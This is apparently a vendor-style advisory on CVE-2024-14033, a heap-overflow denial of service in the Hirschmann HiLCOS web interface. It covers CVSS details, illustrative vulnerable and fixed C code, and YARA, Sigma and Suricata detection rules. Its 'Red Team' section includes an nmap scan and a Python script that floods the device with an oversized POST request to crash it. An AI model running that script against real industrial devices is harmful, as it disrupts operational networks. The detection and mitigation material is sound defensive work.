CVE-2024-14033

Executive Summary

CVE-2024-14033 is a critical heap overflow vulnerability affecting Hirschmann Industrial IT products, specifically those running the HiLCOS operating system. The flaw resides in the web interface and allows an unauthenticated, remote attacker to trigger a denial-of-service (DoS) condition by sending specially crafted requests. The vulnerability is particularly dangerous when the Public Spot functionality is enabled, as it exposes the attack surface to unauthenticated users. With a CVSS score of 7.5 (High), this vulnerability poses a significant risk to industrial control system (ICS) environments where Hirschmann devices are deployed as network gateways or wireless controllers. No public exploit code or proof-of-concept is currently available, and the vendor has not released a patch. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the lack of a patch makes proactive detection and mitigation critical.

Supply Chain & Package Security

This vulnerability is not related to any software package manager (NPM, PyPI, Go, Ruby). It affects embedded firmware (HiLCOS) on Hirschmann hardware appliances. Supply chain risk is limited to the hardware vendor's firmware distribution channels.

CVSS Breakdown & Threat Level

• CVSS Score: 7.5 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
• Attack Vector (AV): Network – exploitable remotely.
• Attack Complexity (AC): Low – no special conditions required.
• Privileges Required (PR): None – unauthenticated.
• User Interaction (UI): None – no user action needed.
• Scope (S): Unchanged – impact confined to the vulnerable component.
• Confidentiality (C): None – no data exposure.
• Integrity (I): None – no data modification.
• Availability (A): High – complete denial of service.

Threat Level: High. The combination of remote, unauthenticated exploitation and no available patch makes this a priority for detection and mitigation in OT/ICS environments.

Deep Dive & Mechanics

The vulnerability is a heap overflow in the HiLCOS web interface. Heap overflows occur when a program writes more data to a dynamically allocated memory buffer than it can hold, corrupting adjacent heap metadata or data. In this case, the overflow is triggered by sending specially crafted HTTP requests to the web interface.

Root Cause: The web interface's request parsing logic fails to properly validate the size of input data before copying it into a heap buffer. When the Public Spot functionality is enabled, the attack surface expands because the web interface exposes additional endpoints that accept unauthenticated input.

Attack Flow:

1. The attacker identifies a Hirschmann device with the web interface exposed (typically on TCP port 80 or 443).
2. The attacker sends a crafted HTTP request (e.g., a POST with an oversized parameter or a malformed header) to a vulnerable endpoint.
3. The HiLCOS web server allocates a heap buffer to process the request but does not check the input length.
4. The oversized input overflows the heap buffer, corrupting adjacent memory.
5. The corruption leads to a crash of the web server process or the entire device, causing a denial of service.

Affected Products:

• BAT-R series
• BAT-F series
• BAT450-F
• BAT867-R
• BAT867-F
• WLC (Wireless LAN Controller)
• BAT Controller Virtual

Public Spot Functionality: This feature allows guest access to the network via a captive portal. When enabled, the web interface exposes unauthenticated endpoints for portal login and redirection, increasing the attack surface.

Vulnerable vs. Patched Code

No patched code is available. The following is a conceptual representation of the vulnerable code pattern and a hypothetical fix.

Vulnerable Code (C-like pseudocode):

void handle_request(char *input) {
    char *buffer = malloc(256);
    // No bounds check - vulnerable to overflow
    strcpy(buffer, input);
    // Process buffer...
    free(buffer);
}

Patched Code (Hypothetical fix):

void handle_request(char *input) {
    char *buffer = malloc(256);
    if (strlen(input) >= 256) {
        // Reject oversized input
        free(buffer);
        return;
    }
    strncpy(buffer, input, 255);
    buffer[255] = '\0';
    // Process buffer...
    free(buffer);
}

The fix involves adding a length check before copying data into the heap buffer and using strncpy instead of strcpy to prevent overflow.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A vulnerable Hirschmann device (e.g., BAT450-F) with web interface accessible.
• Network connectivity to the device's IP address.
• Knowledge of the target's IP and port (default 80/443).

Exploitation Steps:

1. Reconnaissance: Scan for Hirschmann devices using Shodan dorks or Nmap.

   nmap -p 80,443 --script http-title <target_ip>
   

2. Craft Payload: Create a malicious HTTP request with an oversized parameter.

   import socket
   
   target_ip = "192.168.1.100"
   target_port = 80
   
   # Craft a POST request with a large payload
   payload = b"A" * 10000  # Oversized payload
   request = (
       b"POST / HTTP/1.1\r\n"
       b"Host: " + target_ip.encode() + b"\r\n"
       b"Content-Length: " + str(len(payload)).encode() + b"\r\n"
       b"Content-Type: application/x-www-form-urlencoded\r\n"
       b"\r\n"
       + payload
   )
   
   sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
   sock.connect((target_ip, target_port))
   sock.send(request)
   response = sock.recv(4096)
   print(response)
   sock.close()
   

3. Trigger DoS: Send the request repeatedly to ensure the device crashes.
4. Verify: The device becomes unresponsive to ping or HTTP requests.

Note: No public exploit code exists. The above is a conceptual example.

Blue Team (Defensive)

Detection:

• Monitor for oversized HTTP requests (Content-Length > 4096 bytes) to Hirschmann devices.
• Alert on repeated connection attempts to the web interface from a single source.
• Use network intrusion detection systems (NIDS) to flag anomalous HTTP traffic.

Mitigation:

• Disable the Public Spot functionality if not required.
• Restrict access to the web interface using firewall rules (allow only trusted IPs).
• Implement network segmentation to isolate Hirschmann devices from untrusted networks.
• Monitor device logs for crashes or unexpected reboots.

Indicators of Compromise (IOCs)

Detection Engineering

YARA Rule

rule CVE_2024_14033_Heap_Overflow {
    meta:
        description = "Detects heap overflow attempts against Hirschmann HiLCOS web interface"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2024-14033"
    strings:
        $http_post = "POST / HTTP/1.1" ascii wide nocase
        $content_length = "Content-Length:" ascii wide nocase
        $large_payload = /Content-Length:\s*[5-9]\d{3,}|Content-Length:\s*\d{5,}/ ascii wide
    condition:
        $http_post and $content_length and $large_payload
}

Sigma Rule

title: CVE-2024-14033 Hirschmann HiLCOS Heap Overflow Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects oversized HTTP requests targeting Hirschmann devices
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: hirschmann
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/'
        sc-status: 200
        cs-bytes|gte: 5000
    condition: selection
falsepositives:
    - Legitimate large file uploads (unlikely on embedded devices)
level: high

Suricata Rule

alert http $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (
    msg:"CVE-2024-14033 Hirschmann HiLCOS Heap Overflow Attempt";
    flow:to_server,established;
    content:"POST / HTTP/1.1"; http_method;
    content:"Content-Length"; http_header;
    pcre:"/Content-Length:\s*[5-9]\d{3,}|Content-Length:\s*\d{5,}/i";
    sid:1000001;
    rev:1;
    metadata:created_at 2025-04-10, cve CVE-2024-14033;
)

Remediation & Mitigation

Immediate Actions:

1. Disable Public Spot: If not required, disable the Public Spot functionality via the device configuration.
2. Network Segmentation: Place Hirschmann devices behind a firewall and restrict web interface access to trusted management networks only.
3. Access Control: Use IP whitelisting to limit which hosts can reach the web interface.
4. Monitor: Enable logging and monitor for device crashes or unusual HTTP traffic.

Long-Term Actions:

1. Vendor Patch: Monitor Hirschmann's security advisories for a firmware update. Apply immediately when available.
2. Upgrade: If no patch is released, consider replacing affected devices with alternatives that receive security updates.
3. IDS/IPS: Deploy the provided Suricata rule to detect exploitation attempts.
4. Incident Response: Prepare a playbook for responding to DoS attacks on OT devices.

Workaround: If the web interface is not needed, disable it entirely via the device CLI or configuration file.

Valters IT